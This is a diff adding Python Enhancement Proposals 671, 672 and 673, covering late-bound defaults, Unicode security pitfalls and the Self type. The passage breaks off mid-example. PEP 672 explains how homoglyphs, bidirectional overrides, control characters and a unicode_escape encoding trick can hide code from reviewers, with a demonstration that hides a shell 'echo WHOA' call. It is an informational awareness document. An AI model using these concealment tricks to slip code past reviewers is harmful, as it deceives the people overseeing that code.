Unusual: Accept star-args and then validate + def add_item(item, *optional_target): + if not optional_target: + target = [] + else: + target = optional_target[0] + +In each form, ``help(function)`` fails to show the true default value. Each +one has additional problems, too; using ``None`` is only valid if None is not +itself a plausible function parameter, the custom sentinel requires a global +constant; and use of star-args implies that more than one argument could be +given. + +Specification +============= + +Function default arguments can be defined using the new ``=>`` notation:: + + def bisect_right(a, x, lo=0, hi=>len(a), *, key=None): + def connect(timeout=>default_timeout): + def add_item(item, target=>[]): + def format_time(fmt, time_t=>time.time()): + +The expression is saved in its source code form for the purpose of inspection, +and bytecode to evaluate it is prepended to the function's body. + +Notably, the expression is evaluated in the function's run-time scope, NOT the +scope in which the function was defined (as are early-bound defaults). This +allows the expression to refer to other arguments. + +Multiple late-bound arguments are evaluated from left to right, and can refer +to previously-defined values. Order is defined by the function, regardless of +the order in which keyword arguments may be passed. + + def prevref(word="foo", a=>len(word), b=>a//2): # Valid + def selfref(spam=>spam): # UnboundLocalError + def spaminate(sausage=>eggs + 1, eggs=>sausage - 1): # Confusing, don't do this + def frob(n=>len(items), items=[]): # See below + +Evaluation order is left-to-right; however, implementations MAY choose to do so +in two separate passes, first for all passed arguments and early-bound defaults, +and then a second pass for late-bound defaults. Otherwise, all arguments will be +assigned strictly left-to-right. + +Rejected choices of spelling +---------------------------- + +While this document specifies a single syntax ``name=>expression``, alternate +spellings are similarly plausible. The following spellings were considered:: + + def bisect(a, hi=>len(a)): + def bisect(a, hi:=len(a)): + def bisect(a, hi?=len(a)): + def bisect(a, @hi=len(a)): + +Since default arguments behave largely the same whether they're early or late +bound, the chosen syntax ``hi=>len(a)`` is deliberately similar to the existing +early-bind syntax. + +One reason for rejection of the ``:=`` syntax is its behaviour with annotations. +Annotations go before the default, so in all syntax options, it must be +unambiguous (both to the human and the parser) whether this is an annotation, +a default, or both. The alternate syntax ``target:=expr`` runs the risk of +being misinterpreted as ``target:int=expr`` with the annotation omitted in +error, and may thus mask bugs. The chosen syntax ``target=>expr`` does not +have this problem. + + +How to Teach This +================= + +Early-bound default arguments should always be taught first, as they are the +simpler and more efficient way to evaluate arguments. Building on them, late +bound arguments are broadly equivalent to code at the top of the function:: + + def add_item(item, target=>[]): + + # Equivalent pseudocode: + def add_item(item, target=): + if target was omitted: target = [] + +A simple rule of thumb is: "target=expression" is evaluated when the function +is defined, and "target=>expression" is evaluated when the function is called. +Either way, if the argument is provided at call time, the default is ignored. +While this does not completely explain all the subtleties, it is sufficient to +cover the important distinction here (and the fact that they are similar). + + +Interaction with other proposals +================================ + +:pep:`661` attempts to solve one of the same problems as this does. It seeks to +improve the documentation of sentinel values in default arguments, where this +proposal seeks to remove the need for sentinels in many common cases. :pep:`661` +is able to improve documentation in arbitrarily complicated functions (it +cites ``traceback.print_exception`` as its primary motivation, which has two +arguments which must both-or-neither be specified); on the other hand, many +of the common cases would no longer need sentinels if the true default could +be defined by the function. Additionally, dedicated sentinel objects can be +used as dictionary lookup keys, where :pep:`671` does not apply. + +A generic system for deferred evaluation has been proposed at times (not to be +confused with :pep:`563` and :pep:`649` which are specific to annotations). +While it may seem, on the surface, that late-bound argument defaults are of a +similar nature, they are in fact unrelated and orthogonal ideas, and both could +be of value to the language. The acceptance or rejection of this proposal would +not affect the viability of a deferred evaluation proposal, and vice versa. (A +key difference between generalized deferred evaluation and argument defaults is +that argument defaults will always and only be evaluated as the function begins +executing, whereas deferred expressions would only be realized upon reference.) + + +Implementation details +====================== + +The following relates to the reference implementation, and is not necessarily +part of the specification. + +Argument defaults (positional or keyword) have both their values, as already +retained, and an extra piece of information. For positional arguments, the +extras are stored in a tuple in ``__defaults_extra__``, and for keyword-only, +a dict in ``__kwdefaults_extra__``. If this attribute is ``None``, it is +equivalent to having ``None`` for every argument default. + +For each parameter with a late-bound default, the special value ``Ellipsis`` +is stored as the value placeholder, and the corresponding extra information +needs to be queried. If it is ``None``, then the default is indeed the value +``Ellipsis``; otherwise, it is a descriptive string and the true value is +calculated as the function begins. + +When a parameter with a late-bound default is omitted, the function will begin +with the parameter unbound. The function begins by testing for each parameter +with a late-bound default using a new opcode QUERY_FAST/QUERY_DEREF, and if +unbound, evaluates the original expression. This opcode (available only for +fast locals and closure variables) pushes True onto the stack if the given +local has a value, and False if not - meaning that it pushes False if LOAD_FAST +or LOAD_DEREF would raise UnboundLocalError, and True if it would succeed. + +Out-of-order variable references are permitted as long as the referent has a +value from an argument or early-bound default. + + +Costs +----- + +When no late-bound argument defaults are used, the following costs should be +all that are incurred: + +* Function objects require two additional pointers, which will be NULL +* Compiling code and constructing functions have additional flag checks +* Using ``Ellipsis`` as a default value will require run-time verification + to see if late-bound defaults exist. + +These costs are expected to be minimal (on 64-bit Linux, this increases all +function objects from 152 bytes to 168), with virtually no run-time cost when +late-bound defaults are not used. + +Backward incompatibility +------------------------ + +Where late-bound defaults are not used, behaviour should be identical. Care +should be taken if Ellipsis is found, as it may not represent itself, but +beyond that, tools should see existing code unchanged. + +References +========== + +https://github.com/rosuav/cpython/tree/pep-671 + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. diff --git a/pep-0672.rst b/pep-0672.rst new file mode 100644 index 00000000000..147a3c5bf16 --- /dev/null +++ b/pep-0672.rst @@ -0,0 +1,405 @@ +PEP: 672 +Title: Unicode-related Security Considerations for Python +Author: Petr Viktorin +Status: Active +Type: Informational +Content-Type: text/x-rst +Created: 01-Nov-2021 +Post-History: 01-Nov-2021 + +Abstract +======== + +This document explains possible ways to misuse Unicode to write Python +programs that appear to do something else than they actually do. + +This document does not give any recommendations and solutions. + + +Introduction +============ + +`Unicode`_ is a system for handling all kinds of written language. +It aims to allow any character from any human language to be +used. Python code may consist of almost all valid Unicode characters. +While this allows programmers from all around the world to express themselves, +it also allows writing code that is potentially confusing to readers. + +It is possible to misuse Python's Unicode-related features to write code that +*appears* to do something else than what it does. +Evildoers could take advantage of this to trick code reviewers into +accepting malicious code. + +The possible issues generally can't be solved in Python itself without +excessive restrictions of the language. +They should be solved in code editors and review tools +(such as *diff* displays), by enforcing project-specific policies, +and by raising awareness of individual programmers. + +This document purposefully does not give any solutions +or recommendations: it is rather a list of things to keep in mind. + +This document is specific to Python. +For general security considerations in Unicode text, see [tr36]_ and [tr39]_. + + +Acknowledgement +=============== + +Investigation for this document was prompted by `CVE-2021-42574`_, +*Trojan Source Attacks*, reported by Nicholas Boucher and Ross Anderson, +which focuses on Bidirectional override characters and homoglyphs in a variety +of programming languages. + + +Confusing Features +================== + +This section lists some Unicode-related features that can be surprising +or misusable. + + +ASCII-only Considerations +------------------------- + +ASCII is a subset of Unicode, consisting of the most common symbols, numbers, +Latin letters and control characters. + +While issues with the ASCII character set are generally well understood, +the're presented here to help better understanding of the non-ASCII cases. + +Confusables and Typos +''''''''''''''''''''' + +Some characters look alike. +Before the age of computers, many mechanical typewriters lacked the keys for +the digits ``0`` and ``1``: users typed ``O`` (capital o) and ``l`` +(lowercase L) instead. Human readers could tell them apart by context only. +In programming languages, however, distinction between digits and letters is +critical -- and most fonts designed for programmers make it easy to tell them +apart. + +Similarly, in fonts designed for human languages, the uppercase “I” and +lowercase “l” can look similar. Or the letters “rn” may be virtually +indistinguishable from the single letter “m”. +Again, programmers' fonts make these pairs of *confusables* +noticeably different. + +However, what is “noticeably” different always depends on the context. +Humans tend to ignore details in longer identifiers: the variable name +``accessibi1ity_options`` can still look indistinguishable from +``accessibility_options``, while they are distinct for the compiler. +The same can be said for plain typos: most humans will not notice the typo in +``responsbility_chain_delegate``. + +Control Characters +'''''''''''''''''' + +Python generally considers all ``CR`` (``\r``), ``LF`` (``\n``), and ``CR-LF`` +pairs (``\r\n``) as an end of line characters. +Most code editors do as well, but there are editors that display “non-native” +line endings as unknown characters (or nothing at all), rather than ending +the line, displaying this example:: + + # Don't call this function: + fire_the_missiles() + +as a harmless comment like:: + + # Don't call this function:⬛fire_the_missiles() + +CPython may treat the control character NUL (``\0``) as end of input, +but many editors simply skip it, possibly showing code that Python will not +run as a regular part of a file. + +Some characters can be used to hide/overwrite other characters when source is +listed in common terminals. For example: + +* BS (``\b``, Backspace) moves the cursor back, so the character after it + will overwrite the character before. +* CR (``\r``, carriage return) moves the cursor to the start of line, + subsequent characters overwrite the start of the line. +* SUB (``\x1A``, Ctrl+Z) means “End of text” on Windows. Some programs + (such as ``type``) ignore the rest of the file after it. +* ESC (``\x1B``) commonly initiates escape codes which allow arbitrary + control of the terminal. + + +Confusable Characters in Identifiers +------------------------------------ + +Python is not limited to ASCII. +It allows characters of all scripts – Latin letters to ancient Egyptian +hieroglyphs – in identifiers (such as variable names). +See :pep:`3131` for details and rationale. +Only “letters and numbers” are allowed, so while ``γάτα`` is a valid Python +identifier, ``🐱`` is not. (See `Identifiers and keywords`_ for details.) + +Non-printing control characters are also not allowed in identifiers. + +However, within the allowed set there is a large number of “confusables”. +For example, the uppercase versions of the Latin ``b``, Greek ``β`` (Beta), and +Cyrillic ``в`` (Ve) often look identical: ``B``, ``Β`` and ``В``, respectively. + +This allows identifiers that look the same to humans, but not to Python. +For example, all of the following are distinct identifiers: + +* ``scope`` (Latin, ASCII-only) +* ``scоpe`` (with a Cyrillic ``о``) +* ``scοpe`` (with a Greek ``ο``) +* ``ѕсоре`` (all Cyrillic letters) + +Additionally, some letters can look like non-letters: + +* The letter for the Hawaiian *ʻokina* looks like an apostrophe; + ``ʻHelloʻ`` is a Python identifier, not a string. +* The East Asian word for *ten* looks like a plus sign, + so ``十= 10`` is a complete Python statement. (The “十” is a word: “ten” + rather than “10”.) + +.. note:: + + The converse also applies – some symbols look like letters – but since + Python does not allow arbitrary symbols in identifiers, this is not an + issue. + + +Confusable Digits +------------------ + +Numeric literals in Python only use the ASCII digits 0-9 (and non-digits such +as ``.`` or ``e``). + +However, when numbers are converted from strings, such as in the ``int`` and +``float`` constructors or by the ``str.format`` method, any decimal digit +can be used. For example ``߅`` (``NKO DIGIT FIVE``) or ``௫`` +(``TAMIL DIGIT FIVE``) work as the digit ``5``. + +Some scripts include digits that look similar to ASCII ones, but have a +different value. For example:: + + >>> int('৪୨') + 42 + >>> '{٥}'.format('zero', 'one', 'two', 'three', 'four', 'five') + five + + +Bidirectional Text +------------------ + +Some scripts, such as Hebrew or Arabic, are written right-to-left. +Phrases in such scripts interact with nearby text in ways that can be +surprising to people who aren't familiar with these writing systems and their +computer representation. + +The exact process is complicated, and explained in Unicode Standard Annex #9, +`Unicode Bidirectional Algorithm`_. + +Consider the following code, which assigns a 100-character string to +the variable ``s``:: + + s = "X" * 100 # "X" is assigned + +When the ``X`` is replaced by the Hebrew letter ``א``, the line becomes:: + + s = "א" * 100 # "א" is assigned + +This command still assigns a 100-character string to ``s``, but +when displayed as general text following the Bidirectional Algorithm +(e.g. in a browser), it appears as ``s = "א"`` followed by a comment. + +Other surprising examples include: + +* In the statement ``ערך = 23``, the variable ``ערך`` is set to the integer 23. + +* In the statement ``قيمة = ערך``, the variable ``قيمة`` is set + to the value of ``ערך``. + +* In the statement ``قيمة - (ערך ** 2)``, the value of ``ערך`` is squared and + then subtracted from ``قيمة``. + The *opening* parenthesis is displayed as ``)``. + + + +Bidirectional Marks, Embeddings, Overrides and Isolates +------------------------------------------------------- + +Default reordering rules do not always yield the intended direction of text, so +Unicode provides several ways to alter it. + +The most basic are **directional marks**, which are invisible but affect text +as a left-to-right (or right-to-left) character would. +Continuing with the ``s = "X"`` example above, in the next example the ``X`` is +replaced by the Latin ``x`` followed or preceded by a +right-to-left mark (``U+200F``). This assigns a 200-character string to ``s`` +(100 copies of ``x`` interspersed with 100 invisible marks), +but under Unicode rules for general text, it is rendered as ``s = "x"`` +followed by an ASCII-only comment:: + + s = "x‏" * 100 # "‏x" is assigned + +The directional **embedding**, **override** and **isolate** characters +are also invisible, but affect the ordering of all text after them until either +ended by a dedicated character, or until the end of line. +(Unicode specifies the effect to last until the end of a “paragraph” (see +`Unicode Bidirectional Algorithm`_), +but allows tools to interpret newline characters as paragraph ends +(see Unicode `Newline Guidelines`_). Most code editors and terminals do so.) + +These characters essentially allow arbitrary reordering of the text that +follows them. Python only allows them in strings and comments, which does limit +their potential (especially in combination with the fact that Python's comments +always extend to the end of a line), but it doesn't render them harmless. + + +Normalizing identifiers +----------------------- + +Python strings are collections of *Unicode codepoints*, not “characters”. + +For reasons like compatibility with earlier encodings, Unicode often has +several ways to encode what is essentially a single “character”. +For example, all these are different ways of writing ``Å`` as a Python string, +each of which is unequal to the others. + +* ``"\N{LATIN CAPITAL LETTER A WITH RING ABOVE}"`` (1 codepoint) +* ``"\N{LATIN CAPITAL LETTER A}\N{COMBINING RING ABOVE}"`` (2 codepoints) +* ``"\N{ANGSTROM SIGN}"`` (1 codepoint, but different) + +For another example, the ligature ``fi`` has a dedicated Unicode codepoint, +even though it has the same meaning as the two letters ``fi``. + +Also, common letters frequently have several distinct variations. +Unicode provides them for contexts where the difference has some semantic +meaning, like mathematics. For example, some variations of ``n`` are: + +* ``n`` (LATIN SMALL LETTER N) +* ``𝐧`` (MATHEMATICAL BOLD SMALL N) +* ``𝘯`` (MATHEMATICAL SANS-SERIF ITALIC SMALL N) +* ``ｎ`` (FULLWIDTH LATIN SMALL LETTER N) +* ``ⁿ`` (SUPERSCRIPT LATIN SMALL LETTER N) + +Unicode includes algorithms to *normalize* variants like these to a single +form, and Python identifiers are normalized. +(There are several normal forms; Python uses ``NFKC``.) + +For example, ``xn`` and ``xⁿ`` are the same identifier in Python:: + + >>> xⁿ = 8 + >>> xn + 8 + +… as is ``fi`` and ``fi``, and as are the different ways to encode ``Å``. + +This normalization applies *only* to identifiers, however. +Functions that treat strings as identifiers, such as ``getattr``, +do not perform normalization:: + + >>> class Test: + ... def finalize(self): + ... print('OK') + ... + >>> Test().finalize() + OK + >>> Test().finalize() + OK + >>> getattr(Test(), 'finalize') + Traceback (most recent call last): + ... + AttributeError: 'Test' object has no attribute 'finalize' + +This also applies when importing: + +* ``import finalization`` performs normalization, and looks for a file + named ``finalization.py`` (and other ``finalization.*`` files). +* ``importlib.import_module("finalization")`` does not normalize, + so it looks for a file named ``finalization.py``. + +Some filesystems independently apply normalization and/or case folding. +On some systems, ``finalization.py``, ``finalization.py`` and +``FINALIZATION.py`` are three distinct filenames; on others, some or all +of these name the same file. + + +Source Encoding +--------------- + +The encoding of Python source files is given by a specific regex on the first +two lines of a file, as per `Encoding declarations`_. +This mechanism is very liberal in what it accepts, and thus easy to obfuscate. + +This can be misused in combination with Python-specific special-purpose +encodings (see `Text Encodings`_). +For example, with ``encoding: unicode_escape``, characters like +quotes or braces can be hidden in an (f-)string, with many tools (syntax +highlighters, linters, etc.) considering them part of the string. +For example:: + + # For writing Japanese, you don't need an editor that supports + # UTF-8 source encoding: unicode_escape sequences work just as well. + + import os + + message = ''' + This is "Hello World" in Japanese: + \u3053\u3093\u306b\u3061\u306f\u7f8e\u3057\u3044\u4e16\u754c + + This runs `echo WHOA` in your shell: + \u0027\u0027\u0027\u002c\u0028\u006f\u0073\u002e + \u0073\u0079\u0073\u0074\u0065\u006d\u0028 + \u0027\u0065\u0063\u0068\u006f\u0020\u0057\u0048\u004f\u0041\u0027 + \u0029\u0029\u002c\u0027\u0027\u0027 + ''' + +Here, ``encoding: unicode_escape`` in the initial comment is an encoding +declaration. The ``unicode_escape`` encoding instructs Python to treat +``\u0027`` as a single quote (which can start/end a string), ``\u002c`` as +a comma (punctuator), etc. + + +Open Issues +=========== + +We should probably write and publish: + +* Recommendations for Text Editors and Code Tools +* Recommendations for Programmers and Teams +* Possible Improvements in Python + + +References +========== + +.. _Unicode: https://home.unicode.org/ +.. _`Unicode Bidirectional Algorithm`: + http://www.unicode.org/reports/tr9/ +.. _`Newline Guidelines`: + http://www.unicode.org/versions/Unicode14.0.0/ch05.pdf#G10213 +.. [tr36] Unicode Technical Report #36: Unicode Security Considerations + http://www.unicode.org/reports/tr36/ +.. [tr39] Unicode® Technical Standard #39: Unicode Security Mechanisms + http://www.unicode.org/reports/tr39/ +.. _CVE-2021-42574: + https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42574 +.. _`Encoding declarations`: https://docs.python.org/3/reference/lexical_analysis.html#encoding-declarations +.. _`Identifiers and keywords`: https://docs.python.org/3/reference/lexical_analysis.html#identifiers +.. _`Text Encodings`: https://docs.python.org/3/library/codecs.html#text-encodings + + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. + + + +.. + Local Variables: + mode: indented-text + indent-tabs-mode: nil + sentence-end-double-space: t + fill-column: 70 + coding: utf-8 + End: + diff --git a/pep-0673.rst b/pep-0673.rst new file mode 100644 index 00000000000..7f5059ddecb --- /dev/null +++ b/pep-0673.rst @@ -0,0 +1,817 @@ +PEP: 673 +Title: Self Type +Version: $Revision$ +Last-Modified: $Date$ +Author: Pradeep Kumar Srinivasan , + James Hilton-Balfe +Sponsor: Jelle Zijlstra +Discussions-To: typing-sig@python.org +Status: Accepted +Type: Standards Track +Content-Type: text/x-rst +Created: 10-Nov-2021 +Python-Version: 3.11 +Post-History: 17-Nov-2021 +Resolution: https://mail.python.org/archives/list/python-dev@python.org/thread/J7BWL5KWOPQQK5KFWKENVLXW6UGSPTGI/ + +Abstract +======== + +This PEP introduces a simple and intuitive way to annotate methods that return +an instance of their class. This behaves the same as the ``TypeVar``-based +approach specified in :pep:`484` +but is more concise and easier to follow. + +Motivation +========== + +A common use case is to write a method that returns an instance of the same +class, usually by returning ``self``. + +:: + + class Shape: + def set_scale(self, scale: float): + self.scale = scale + return self + + Shape().set_scale(0.5) # => should be Shape + + +One way to denote the return type is to specify it as the current class, say, +``Shape``. Using the method makes the type checker infer the type ``Shape``, +as expected. + +:: + + class Shape: + def set_scale(self, scale: float) -> Shape: + self.scale = scale + return self + + Shape().set_scale(0.5) # => Shape + + +However, when we call ``set_scale`` on a subclass of ``Shape``, the type +checker still infers the return type to be ``Shape``. This is problematic in +situations such as the one shown below, where the type checker will return an +error because we are trying to use attributes or methods not present on the +base class. + +:: + + class Circle(Shape): + def set_radius(self, r: float) -> Circle: + self.radius = r + return self + + Circle().set_scale(0.5) # *Shape*, not Circle + Circle().set_scale(0.5).set_radius(2.7) + # => Error: Shape has no attribute set_radius + + +The present workaround for such instances is to define a ``TypeVar`` with the +base class as the bound and use it as the annotation for the ``self`` +parameter and the return type: + +:: + + from typing import TypeVar + + TShape = TypeVar("TShape", bound="Shape") + + class Shape: + def set_scale(self: TShape, scale: float) -> TShape: + self.scale = scale + return self + + + class Circle(Shape): + def set_radius(self, radius: float) -> Circle: + self.radius = radius + return self + + Circle().set_scale(0.5).set_radius(2.7) # => Circle + +Unfortunately, this is verbose and unintuitive. Because ``self`` is usually +not explicitly annotated, the above solution doesn't immediately come to mind, +and even if it does, it is very easy to go wrong by forgetting either the +bound on the ``TypeVar(bound="Shape")`` or the annotation for ``self``. + +This difficulty means that users often give up and either use fallback types +like ``Any`` or just omit the type annotation completely, both of which make +the code less safe. + +We propose a more intuitive and succinct way of expressing the above +intention. We introduce a special form ``Self`` that stands for a type +variable bound to the encapsulating class. For situations such as the one +above, the user simply has to annotate the return type as ``Self``: + +:: + + from typing import Self + + class Shape: + def set_scale(self, scale: float) -> Self: + self.scale = scale + return self + + + class Circle(Shape): + def set_radius(self, radius: float) -> Self: + self.radius = radius + return self + +By annotating the return type as ``Self``, we no longer have to declare a +``TypeVar`` with an explicit bound on the base class. The return type ``Self`` +mirrors the fact that the function returns ``self`` and is easier to +understand. + +As in the above example, the type checker will correctly infer the type of +``Circle().set_scale(0.5)`` to be ``Circle``, as expected. + +Usage statistics +---------------- + +We `analyzed +`_ popular +open-source projects and found that patterns like the above were used about +**40%** as often as popular types like ``dict`` or ``Callable``. For example, +in typeshed alone, such “Self” types are used 523 times, compared to 1286 uses +of ``dict`` and 1314 uses of ``Callable`` `as of October 2021 +`_. +This suggests that a ``Self`` type will be used quite often and users will +benefit a lot from the simpler approach above. + +Users of Python types have also frequently requested this feature, +both on the `proposal doc +`_ +and on `GitHub `_. + +Specification +============= + +Use in Method Signatures +------------------------ + +``Self`` used in the signature of a method is treated as if it were a +``TypeVar`` bound to the class. + +:: + + from typing import Self + + class Shape: + def set_scale(self, scale: float) -> Self: + self.scale = scale + return self + +is treated equivalently to: + +:: + + from typing import TypeVar + + SelfShape = TypeVar("SelfShape", bound="Shape") + + class Shape: + def set_scale(self: SelfShape, scale: float) -> SelfShape: + self.scale = scale + return self + +This works the same for a subclass too: + +:: + + class Circle(Shape): + def set_radius(self, radius: float) -> Self: + self.radius = radius + return self + +which is treated equivalently to: + +:: + + SelfCircle = TypeVar("SelfCircle", bound="Circle") + + class Circle(Shape): + def set_radius(self: SelfCircle, radius: float) -> SelfCircle: + self.radius = radius + return self + +One implementation strategy is to simply desugar the former to the latter in a +preprocessing step. If a method uses ``Self`` in its signature, the type of +``self`` within a method will be ``Self``. In other cases, the type of +``self`` will remain the enclosing class. + + +Use in Classmethod Signatures +----------------------------- + +The ``Self`` type annotation is also useful for classmethods that return +an instance of the class that they operate on. For example, ``from_config`` in +the following snippet builds a ``Shape`` object from a given ``config``. + +:: + + class Shape: + def __init__(self, scale: float) -> None: ... + + @classmethod + def from_config(cls, config: dict[str, float]) -> Shape: + return cls(config["scale"]) + + +However, this means that ``Circle.from_config(...)`` is inferred to return a +value of type ``Shape``, when in fact it should be ``Circle``: + +:: + + class Circle(Shape): + def circumference(self) -> float: ... + + shape = Shape.from_config({"scale": 7.0}) + # => Shape + + circle = Circle.from_config({"scale": 7.0}) + # => *Shape*, not Circle + + circle.circumference() + # Error: `Shape` has no attribute `circumference` + + +The current workaround for this is unintuitive and error-prone: + +:: + + Self = TypeVar("Self", bound="Shape") + + class Shape: + @classmethod + def from_config( + cls: type[Self], config: dict[str, float] + ) -> Self: + return cls(config["scale"]) + +We propose using ``Self`` directly: + +:: + + from typing import Self + + class Shape: + @classmethod + def from_config(cls, config: dict[str, float]) -> Self: + return cls(config["scale"]) + +This avoids the complicated ``cls: type[Self]`` annotation and the ``TypeVar`` +declaration with a ``bound``. Once again, the latter code behaves equivalently +to the former code. + +Use in Parameter Types +---------------------- + +Another use for ``Self`` is to annotate parameters that expect instances of +the current class: + +:: + + Self = TypeVar("Self", bound="Shape") + + class Shape: + def difference(self: Self, other: Self) -> float: ... + + def apply(self: Self, f: Callable[[Self], None]) -> None: ... + +We propose using ``Self`` directly to achieve the same behavior: + +:: + + from typing import Self + + class Shape: + def difference(self, other: Self) -> float: ... + + def apply(self, f: Callable[[Self], None]) -> None: ... + +Note that specifying ``self: Self`` is harmless, so some users may find it +more readable to write the above as: + +:: + + class Shape: + def difference(self: Self, other: Self) -> float: ... + +Use in Attribute Annotations +---------------------------- + +Another use for ``Self`` is to annotate attributes. One example is where we +have a ``LinkedList`` whose elements must be subclasses of the current class. + +:: + + from dataclasses import dataclass + from typing import Generic, TypeVar + + T = TypeVar("T") + + @dataclass + class LinkedList(Generic[T]): + value: T + next: LinkedList[T] | None = None + + # OK + LinkedList[int](value=1, next=LinkedList[int](value=2)) + # Not OK + LinkedList[int](value=1, next=LinkedList[str](value="hello")) + + +However, annotating the ``next`` attribute as ``LinkedList[T]`` allows invalid +constructions with subclasses: + +:: + + @dataclass + class OrdinalLinkedList(LinkedList[int]): + def ordinal_value(self) -> str: + return as_ordinal(self.value) + + # Should not be OK because LinkedList[int] is not a subclass of + # OrdinalLinkedList, # but the type checker allows it. + xs = OrdinalLinkedList(value=1, next=LinkedList[int](value=2)) + + if xs.next: + print(xs.next.ordinal_value()) # Runtime Error. + + +We propose expressing this constraint using ``next: Self | None``: + +:: + + from typing import Self + + @dataclass + class LinkedList(Generic[T]): + value: T + next: Self | None = None + + @dataclass + class OrdinalLinkedList(LinkedList[int]): + def ordinal_value(self) -> str: + return as_ordinal(self.value) + + xs = OrdinalLinkedList(value=1, next=LinkedList[int](value=2)) + # Type error: Expected OrdinalLinkedList, got LinkedList[int]. + + if xs.next is not None: + xs.next = OrdinalLinkedList(value=3, next=None) # OK + xs.next = LinkedList[int](value=3, next=None) # Not OK + + + +The code above is semantically equivalent to treating each attribute +containing a ``Self`` type as a ``property`` that returns that type: + +:: + + from dataclasses import dataclass + from typing import Any, Generic, TypeVar + + T = TypeVar("T") + Self = TypeVar("Self", bound="LinkedList") + + + class LinkedList(Generic[T]): + value: T + + @property + def next(self: Self) -> Self | None: + return self._next + + @next.setter + def next(self: Self, next: Self | None) -> None: + self._next = next + + class OrdinalLinkedList(LinkedList[int]): + def ordinal_value(self) -> str: + return str(self.value) + +Use in Generic Classes +---------------------- + +``Self`` can also be used in generic class methods: + +:: + + class Container(Generic[T]): + value: T + def set_value(self, value: T) -> Self: ... + + +This is equivalent to writing: + +:: + + Self = TypeVar("Self", bound="Container[Any]") + + class Container(Generic[T]): + value: T + def set_value(self: Self, value: T) -> Self: ... + + +The behavior is to preserve the type argument of the object on which the +method was called. When called on an object with concrete type +``Container[int]``, ``Self`` is bound to ``Container[int]``. When called with +an object of generic type ``Container[T]``, ``Self`` is bound to +``Container[T]``: + +:: + + def object_with_concrete_type() -> None: + int_container: Container[int] + str_container: Container[str] + reveal_type(int_container.set_value(42)) # => Container[int] + reveal_type(str_container.set_value("hello")) # => Container[str] + + def object_with_generic_type( + container: Container[T], value: T, + ) -> Container[T]: + return container.set_value(value) # => Container[T] + + +The PEP doesn’t specify the exact type of ``self.value`` within the method +``set_value``. Some type checkers may choose to implement ``Self`` types using +class-local type variables with ``Self = TypeVar(“Self”, +bound=Container[T])``, which will infer a precise type ``T``. However, given +that class-local type variables are not a standardized type system feature, it +is also acceptable to infer ``Any`` for ``self.value``. We leave this up to +the type checker. + +Note that we reject using ``Self`` with type arguments, such as ``Self[int]``. +This is because it creates ambiguity about the type of the ``self`` parameter +and introduces unnecessary complexity: + +:: + + class Container(Generic[T]): + def foo( + self, other: Self[int], other2: Self, + ) -> Self[str]: # Rejected + ... + +In such cases, we recommend using an explicit type for ``self``: + +:: + + class Container(Generic[T]): + def foo( + self: Container[T], + other: Container[int], + other2: Container[T] + ) -> Container[str]: ... + + +Use in Protocols +---------------- + +``Self`` is valid within Protocols, similar to its use in classes: + +:: + + from typing import Protocol, Self + + class ShapeProtocol(Protocol): + scale: float + + def set_scale(self, scale: float) -> Self: + self.scale = scale + return self + +is treated equivalently to: + +:: + + from typing import TypeVar + + SelfShape = TypeVar("SelfShape", bound="ShapeProtocol") + + class ShapeProtocol(Protocol): + scale: float + + def set_scale(self: SelfShape, scale: float) -> SelfShape: + self.scale = scale + return self + + +See :pep:`PEP 544 +<544#self-types-in-protocols>` for +details on the behavior of TypeVars bound to protocols. + +Checking a class for compatibility with a protocol: If a protocol uses +``Self`` in methods or attribute annotations, then a class ``Foo`` is +considered compatible with the protocol if its corresponding methods and +attribute annotations use either ``Self`` or ``Foo`` or any of ``Foo``’s +subclasses. See the examples below: + +:: + + from typing import Protocol + + class ShapeProtocol(Protocol): + def set_scale(self, scale: float) -> Self: ... + + class ReturnSelf: + scale: float = 1.0 + + def set_scale(self, scale: float) -> Self: + self.scale = scale + return self + + class ReturnConcreteShape: + scale: float = 1.0 + + def set_scale(self, scale: float) -> ReturnConcreteShape: + self.scale = scale + return self + + class BadReturnType: + scale: float = 1.0 + + def set_scale(self, scale: float) -> int: + self.scale = scale + return 42 + + class ReturnDifferentClass: + scale: float = 1.0 + + def set_scale(self, scale: float) -> ReturnConcreteShape: + return ReturnConcreteShape(...) + + def accepts_shape(shape: ShapeProtocol) -> None: + y = shape.set_scale(0.5) + reveal_type(y) + + def main() -> None: + return_self_shape: ReturnSelf + return_concrete_shape: ReturnConcreteShape + bad_return_type: BadReturnType + return_different_class: ReturnDifferentClass + + accepts_shape(return_self_shape) # OK + accepts_shape(return_concrete_shape) # OK + accepts_shape(bad_return_type) # Not OK + # Not OK because it returns a non-subclass. + accepts_shape(return_different_class) + + +Valid Locations for ``Self`` +============================ + +A ``Self`` annotation is only valid in class contexts, and will always refer +to the encapsulating class. In contexts involving nested classes, ``Self`` +will always refer to the innermost class. + +The following uses of ``Self`` are accepted: + +:: + + class ReturnsSelf: + def foo(self) -> Self: ... # Accepted + + @classmethod + def bar(cls) -> Self: # Accepted + return cls() + + def __new__(cls, value: int) -> Self: ... # Accepted + + def explicitly_use_self(self: Self) -> Self: ... # Accepted + + # Accepted (Self can be nested within other types) + def returns_list(self) -> list[Self]: ... + + # Accepted (Self can be nested within other types) + @classmethod + def return_cls(cls) -> type[Self]: + return cls + + class Child(ReturnsSelf): + # Accepted (we can override a method that uses Self annotations) + def foo(self) -> Self: ... + + class TakesSelf: + def foo(self, other: Self) -> bool: ... # Accepted + + class Recursive: + # Accepted (treated as an @property returning ``Self | None``) + next: Self | None + + class CallableAttribute: + def foo(self) -> int: ... + + # Accepted (treated as an @property returning the Callable type) + bar: Callable[[Self], int] = foo + + class HasNestedFunction: + x: int = 42 + + def foo(self) -> None: + + # Accepted (Self is bound to HasNestedFunction). + def nested(z: int, inner_self: Self) -> Self: + print(z) + print(inner_self.x) + return inner_self + + nested(42, self) # OK + + + class Outer: + class Inner: + def foo(self) -> Self: ... # Accepted (Self is bound to Inner) + + +The following uses of ``Self`` are rejected. + +:: + + def foo(bar: Self) -> Self: ... # Rejected (not within a class) + + bar: Self # Rejected (not within a class) + + class Foo: + # Rejected (Self is treated as unknown). + def has_existing_self_annotation(self: T) -> Self: ... + + class Foo: + def return_concrete_type(self) -> Self: + return Foo() # Rejected (see FooChild below for rationale) + + class FooChild(Foo): + child_value: int = 42 + + def child_method(self) -> None: + # At runtime, this would be Foo, not FooChild. + y = self.return_concrete_type() + + y.child_value + # Runtime error: Foo has no attribute child_value + + class 